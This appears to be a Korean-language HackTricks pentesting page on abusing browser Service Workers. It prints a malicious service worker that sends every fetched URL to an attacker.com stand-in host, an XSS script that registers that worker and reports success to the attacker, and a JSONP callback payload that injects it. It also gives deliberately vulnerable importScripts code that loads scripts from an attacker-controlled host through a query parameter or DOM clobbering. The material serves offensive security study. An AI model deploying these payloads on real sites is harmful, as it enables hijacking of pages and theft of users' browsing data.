Abusing Service Workers

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 처음부터 전문가까지 배우세요!!

Try Hard Security Group


기본 정보

서비스 워커는 웹 페이지나 사용자 상호 작용이 필요하지 않은 기능을 활성화하여 오프라인 및 백그라운드 처리 기능을 향상시키는 브라우저에서 실행되는 스크립트입니다. 서비스 워커에 대한 자세한 정보는 여기에서 찾을 수 있습니다. 취약한 웹 도메인 내의 서비스 워커를 악용함으로써 공격자는 피해자의 도메인 내 모든 페이지와의 상호 작용을 제어할 수 있습니다.

기존 서비스 워커 확인

기존 서비스 워커는 개발자 도구Application 탭의 Service Workers 섹션에서 확인할 수 있습니다. 더 자세한 보기를 위해 chrome://serviceworker-internals을 방문할 수도 있습니다.

푸시 알림

푸시 알림 권한서비스 워커가 직접 사용자 상호 작용 없이 서버와 통신할 수 있는 능력에 직접적인 영향을 미칩니다. 권한이 거부되면 서비스 워커의 지속적인 위협 가능성이 제한됩니다. 반면 권한을 부여하면 잠재적인 악용의 수신 및 실행을 허용하여 보안 위험을 증가시킵니다.

서비스 워커 생성 공격

이 취약점을 악용하기 위해 다음을 찾아야 합니다:

  • 임의의 JS 파일을 서버에 업로드하고 업로드된 JS 파일의 서비스 워커를 로드하는 XSS 방법

  • 출력을 조작할 수 있는 취약한 JSONP 요청임의의 JS 코드로 출력을 조작할 수 있는 XSS와 함께 JSONP를 로드하는 페이로드악의적인 서비스 워커를 로드할 수 있는 방법

다음 예제에서는 fetch 이벤트를 수신하고 각 가져온 URL을 공격자 서버로 보내는 새로운 서비스 워커를 등록하는 코드를 제시하겠습니다:

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

그리고 이것은 워커를 등록할 코드입니다 (XSS를 악용하여 실행할 수 있는 코드). 이 경우 공격자 서버로 GET 요청이 전송되어 서비스 워커의 등록이 성공했는지 여부를 알립니다:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

JSONP 엔드포인트를 악용하는 경우 var sw 내부에 값을 넣어야 합니다. 예를 들어:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

서비스 워커(SW) 악용을 위한 C2Shadow Workers는 이러한 취약점을 악용하는 데 매우 유용할 것입니다.

24시간 캐시 지시문은 악의적이거나 침해당한 **서비스 워커(SW)**의 수명을 최대 24시간으로 제한하며, XSS 취약점 수정 후 온라인 클라이언트 상태를 가정합니다. 취약성을 최소화하기 위해 사이트 운영자는 SW 스크립트의 Time-To-Live (TTL)을 낮출 수 있습니다. 개발자들은 또한 빠른 비활성화를 위해 서비스 워커 킬 스위치를 만들 것이 권장됩니다.

DOM Clobbering을 통한 SW 내 importScripts 악용

서비스 워커에서 호출된 importScripts 함수는 다른 도메인에서 스크립트를 가져올 수 있습니다. 이 함수가 공격자가 수정할 수 있는 매개변수를 사용하여 호출되면 공격자는 자신의 도메인에서 JS 스크립트를 가져와 XSS를 얻을 수 있습니다.

이는 CSP 보호를 우회합니다.

취약한 코드 예시:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

DOM Clobbering을 사용하는 경우

DOM Clobbering이 무엇인지에 대한 자세한 정보는 확인하려면:

pageDom Clobbering

만약 SW이 **importScripts**를 호출하는 URL/도메인이 HTML 요소 내부에 있는 경우, DOM Clobbering을 통해 해당 URL을 수정하여 SW가 자신의 도메인에서 스크립트를로드하도록 만들 수 있습니다.

이에 대한 예제는 참조 링크를 확인하세요.

참고 자료

Try Hard Security Group

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배우세요!

Last updated